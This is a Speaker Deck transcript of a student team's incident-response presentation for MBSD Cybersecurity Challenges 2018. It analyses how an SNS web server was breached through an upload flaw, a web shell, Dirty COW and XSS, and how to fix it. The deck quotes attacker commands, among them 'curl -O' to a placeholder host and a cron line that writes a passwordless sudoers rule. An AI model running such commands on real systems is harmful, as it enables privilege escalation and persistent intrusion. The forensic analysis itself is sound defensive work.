Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Team なんでもいい - MBSD2018
Search
gomafu04
December 12, 2018
Technology
710
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Team なんでもいい - MBSD2018
MBSD Cybersecurity Challenges 2018
Team なんでもいい Presentation Slide
gomafu04
December 12, 2018
Other Decks in Technology
See All in Technology
How to Design Configuration for Rails Applications
willnet
1
770
その Valkey 使いこなしていますか?
onk
PRO
5
1.5k
⾮構造化データを価値に変える AI エージェント基盤とその組織
ivry_presentationmaterials
0
190
OptunaHub: ブラックボックス最適化のためのプラットフォーム
pfn
PRO
0
140
アウトプット初心者、半年間のふりかえり
4o1sobblue
0
430
UniFi(ユニファイ)AIカメラの現場活用
ludicmind
1
440
Classmethod Company Deck
satoshi7
1
680
JAWS-UGグッズ職人仕事の流儀
kentapapa
0
100
Claude Code本は、どのように執筆チームで書かれたか
oikon48
1
380
二歩目のフロントエンド・ウェブアクセシビリティ
camiha
2
570
事業成長とデータ活用を止めないためのマネジメントへ挑戦
hiracky16
0
390
AIにシークレットを見せない、WSL2で安全な開発環境
yazm
0
300
Featured
See All Featured
Measuring Dark Social's Impact On Conversion and Attribution
stephenakadiri
2
310
Faster Mobile Websites
deanohume
310
32k
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
1
450
Rails Girls Zürich Keynote
gr2m
96
14k
Six Lessons from altMBA
skipperchong
29
4.5k
Self-Hosted WebAssembly Runtime for Runtime-Neutral Checkpoint/Restore in Edge–Cloud Continuum
chikuwait
0
890
Navigating Weather and Climate Data
rabernat
0
560
Producing Creativity
orderedlist
PRO
348
41k
Building an army of robots
kneath
307
47k
Deep Space Network (abreviated)
tonyrice
0
370
Raft: Consensus for Rubyists
vanstee
142
7.8k
GitHub's CSS Performance
jonrohan
1033
470k
Transcript
MBSD Cybersecurity Challenges 2018 [なんでもいい@Aso /Nihon/Fukuoka]$ 1
アジェンダ 1. チーム紹介 2. 被害の範囲 3. 攻撃に使われた脆弱性と対策 4. 対応方法 5.
まとめ 2
チーム紹介 3
チームメンバー ◆中山 怜也(なかやま れいや) ◆河原 慎之介(かわはら しんのすけ) ツールを用いた脆弱性の調査 PHPのソースコード解析 サーバサイド
◆竹﨑 友哉(たけざき ともや) ◆本田 翔太郎(ほんだ しょうたろう) ツールを用いた脆弱性の調査 各種ログ解析 4 プログラムサイド
被害の範囲 5
9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日
SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ・登録されているユーザアカウント情報 (ユーザ ID、ユーザネーム、性別、生年月日)................. 8件 ・ユーザの日記.............................................................. 33件 ・ユーザのメッセージ................................................... 21件 攻撃者 サーバ サーバ侵入に向けた情報収集 個人情報入手 6
攻撃者 サーバ /var/www/html/webmix3/ 内 ・index.php ・login.php ・sendmessage.php ・libs.php ・/class/class.php ・/class/User.php
6件 ソースコードや設定ファイル収集 7 5件 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・/httpd/conf/httpd.conf 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 不正なPHPファイル コマンド su -l 送信 8 ※任意のコマンドを実行するプログラム 9月19日 情報の漏洩
脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 サーバ 不正なPHPファイルのアップロード 9 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入
9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 サーバ コマンド送信! 任意のコマンドを用いて サーバ内の操作が可能に!!! ※root 権限は無い 10 9月19日 情報の漏洩
脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 実行ファイル DirtyCOWの脆弱性 を使用した権限昇格 を行うプログラム 11 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日
情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 コマンド curl -O http://xxx 送信 12 サーバ サーバを操作し、 実行ファイルを
ダウンロード!!! 不正なPHPファイル 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
サーバ 昇格!!! 13 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日
root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 サーバ コマンド送信! root 権限で! 任意のコマンドを用いて サーバ内の操作が可能に!!! 14 9月19日 情報の漏洩
脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 サーバ 15 SSHログインの設定を行い、 PHPファイルを通さずサーバに 直接侵入可能に! SSHログイン! 9月19日 情報の漏洩 脆弱性検査ツール使用
9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
正規ユーザ サーバ 16 利用者IDとPWの送信 tmp/.z 利用者ID・PW 溜まったら、 ダウンロード..!! 攻撃者 9月19日
情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
17 不正なスクリプトを埋め込んだ日記 罠にかかれ...!!! 攻撃者 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩
ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
18 /var/www/html/webmix3/ 内 ・register.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・writediary.php ・help.php
2件 7件 攻撃者 サーバ ソースコードや設定ファイル収集 /etc/ 内 ・shadow ・group ・redhat-release 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
19 ・ユーザのパスワード................................................. 5件 ・ユーザの日記........................................................ 14件 ・ユーザのメッセージ................................................. 3件 攻撃者 サーバ 個人情報入手
tmp/.z 利用者ID・PW 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
攻撃者 バックドア用 PHPファイル 20 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入
9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ※任意のコマンドを実行するプログラム
攻撃者 サーバ バックドアのアップロード 21 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入
9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
22 攻撃者 サーバ トップページ改ざん! 改ざん後トップページ 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日
情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
・登録されているユーザアカウント情報 (ユーザ ID、ユーザネーム、性別、生年月日)..................... 8件 ・ユーザのパスワード.............................................................. 5件 ・全てのユーザの日記........................................................ 47件 ・全てのユーザのメッセージ............................................. 24件
◇MBSD SNSサイト内の情報◇ 正規ユーザのほぼ全ての情報が漏洩 23
/var/www/html/webmix3 内 ・index.php ・register.php ・login.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・sendmessage.php
・writediary.php ・help.php ・libs.php ・/class/class.php ・/class/User.php ◇サーバ内の情報◇ 20件 24 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・group ・redhat-release ・/httpd/conf/httpd.conf ソースコードや設定ファイルが漏洩
攻撃に使われた脆弱性と対策 25
1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能
5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性 攻撃者に発見された脆弱性リスト [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] CVSS v3 評価 (基本評価基準) 26
侵入に利用された脆弱性リスト CVSS v3 評価 (基本評価基準) 27 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW
の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性 [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ]
侵入に利用された脆弱性リスト CVSS v3 評価 (基本評価基準) 28 [ 8.2 ] [
7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性
不正な形式の ファイルをアップロード可能 29
不正な形式のファイルをアップロード可能 ・本来の仕様では、ファイル名の末尾が「.jpg」以外はアップロードできない ・不正な場合エラー画面が表示されるが、ファイルはアップロードされてしまう ※ メッセージ送信画面 ※ メッセージ送信後画面 30
不正な形式のファイルをアップロード可能 31
流れ図(sendmessage) move_uploaded_file( $_FILES[‘file’][‘tmp_name’],”./tmp/”.$tname) && preg_match(“/^[^.]+¥.jpg$/”,$tname)) ファイルを”./tmp/”にアップロード し、成功しているか && ファイル名の末尾が ”.jpg”
であるか Sendmessage.php の19行目 32
preg_match("/^[^.]+¥.jpg $/",$tname) move_uploaded_file( $_FILES[‘file’][‘tmp_name’],”./t mp/”.$tname) 流れ図 ファイルを”./tmp/” にアップ ロードし、成功しているか ファイル名の末尾が
”.jpg” であるか hoge.php 33
Dirty COW の 脆弱性 34
Dirty COW とは ・約2年前に公開(CVE-2016-5195) ・Linuxカーネルに起因する脆弱性 ・一般ユーザがシステム上で権限昇格可能に 35
/tmp/.aについて [root@sns tmp]# strings .a | tail -n2 /etc/cron.hourly/0anacron echo
'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a これによってなんでもできてしまうユーザに -bash-4.1$ echo $USER apache -bash-4.1$ sudo whoami root 36
/tmp/.aについて [root@sns tmp]# cat /etc/cron.hourly/0anacron #!/bin/bash echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a
/etc/cron.hourlyフォルダとは 一時間毎に実行される自動タスクを配置 37
対策:Dirty COW について カーネルのアップデート # yum update kernel # reboot
# uname -r 2.6.32-754.6.3.el6.i686 38
対策:/tmp/.aについて カーネルアップデート後に、権限昇格用プログラム/tmp/.aを実行 権限昇格が行われなくなった! 39
対応方法 40
まず謝罪しましょう! 41
Webアプリケーション(webmix3)サイド 対処内容 理由 ファイル「webmix3/tmp/.5a566099006d3b60892fb0 91dac8d1bfwebshell.php 」の消去 攻撃者が仕込んだ「バックドア」のファイル。 Webサーバへ命令を送信し、実行させられる。 ファイル「webmix3/tmp/.z」の消去 利用者ID・パスワードを搾取するためのファイル。
webmix3/tmp 配下に不正にアップロードされたファイルの消 去 攻撃者が調査のため、脆弱性を用いて保存させたファイル。 phpinfo.phpの消去 サーバの設定情報などを攻撃者に与えてしまうファイル。 login.phpの改ざん箇所の消去 利用者ID・パスワードを搾取するため改ざんされたソースコード。 index.htmlの消去 攻撃者が改ざんしたトップページのファイル。 バックアップからindex.phpの復旧 改ざんされたトップページの復旧。 脆弱性リストにて記載した脆弱性への対策 再度同じ攻撃を行なわれないための対策。 暫定的な対処 - サービス再開に向けて 1 42
暫定的な対処 - サービス再開に向けて 2 サーバサイド 対処内容 理由 MySQLサーバ内のrootユーザに対してパスワードを設定 万が一、攻撃者がMySQLに接続できてしまった場合、容易にrootでアク セスされ、MySQL上で可能なことは何でもできてしまう。
MySQLデータベースのuserテーブル内で、root@%のレコ ードを削除 運用に不要な権限はできるだけ減らしたほうが良い。 ファイアウォール(iptables)の設定変更 運用に不要なポートが開いている場合、標的にされやすくなってしまう。 /tmp/.aファイルを削除 攻撃者が使用した権限昇格用のプログラム。 MySQLのテーブルに登録された、不正な情報を含む行の削 除 XSS等で不正に登録されてしまったもの。 HTTPアクセスをHTTPSにリダイレクトする HTTP通信では平文でデータを送信するので、IDとパスワード等のログイ ン情報が盗聴されてしまう可能性があるため。 カーネルのアップデート 現在では脆弱性のある古いカーネルを使用しているため。 43
恒久的な対策 構成面 対処内容 理由 WAFの導入 継続的に、高いレベルのセキュリティを実現できる。 IPSの導入 セキュリティソリューションサービスの利用 運用面 OSやソフトのバージョン管理
攻撃に使用される脆弱性を減らすことができる。 セキュリティ監査の定期的な実施 運用方法の問題や、ソースコードの脆弱性を発見できる。 定期的にシステム全体の改ざんの有無を調査 改ざんの被害にあった場合でも、被害の拡大を防止できる。 ログ監視の強化 攻撃による致命的な問題の発生前に、対処することができる。 従業員へのセキュリティ教育の徹底 ルールを定め、遵守させるためにセキュリティ意識の向上。 44 MBSDさんのサービスを利用する
まとめ 45
被害を発生・拡大させた原因 • 運営のセキュリティ意識の低さ • 運営の攻撃発見の遅さ • phpinfo();関数があるPHPファイルを見ることができた • MySQLのroot設定が脆弱 ◦
MySQLサーバ内のrootユーザに対してパスワードが設定されていない ◦ MySQLデータベースのuserテーブル内で、root@%のレコードが存在する • ソースコードが脆弱すぎる • システムのバージョンが古すぎる ◦ CentOS 6のサポートは2020年11月終了 46
被害を発生・拡大させた原因 運営のセキュリティ意識の低さ 47
ログ監視の強化について 48
工夫した点 ・まずシステムの機能を把握し、調査を行った ・情報をGETやPOSTで渡している箇所を重点的に調査 ・サーバサイドと連携し、ログを元に、攻撃されたと思われる箇所を調査した サーバサイド ・サーバにインストールされているソフトのバージョンをリスト化 →CVE Detailsを用いて脆弱性をリスト化 ・使い慣れたExcelを用いて詳細にログを分析 →httpdやsecure、MySQL等のログ情報をまとめ、タイムラインを作成
データベース内の情報等、様々な情報を突合せながら分析 49 プログラムサイド
使用したツール ログ解析 Excel 自作したJavaプログラム ヘッダの改ざん burpsuite sqlインジェクション、データベース搾取 sqlmap 脆弱性診断ツール nessus
vuls open-vas ウェブサイト診断 skipfish nikto ソフトウェア脆弱性データベース CVE Details EXPLOIT DATABASE エクスプロイトキット Metasploit ポートスキャン nmap SPARTA 静的脆弱性検査ツール PHP RIPS 共通脆弱性評価システム ファイル転送 WinSCP ネットワーク・アナライザ・ソフトウェア WireShark 50
Thank you for listening!! 51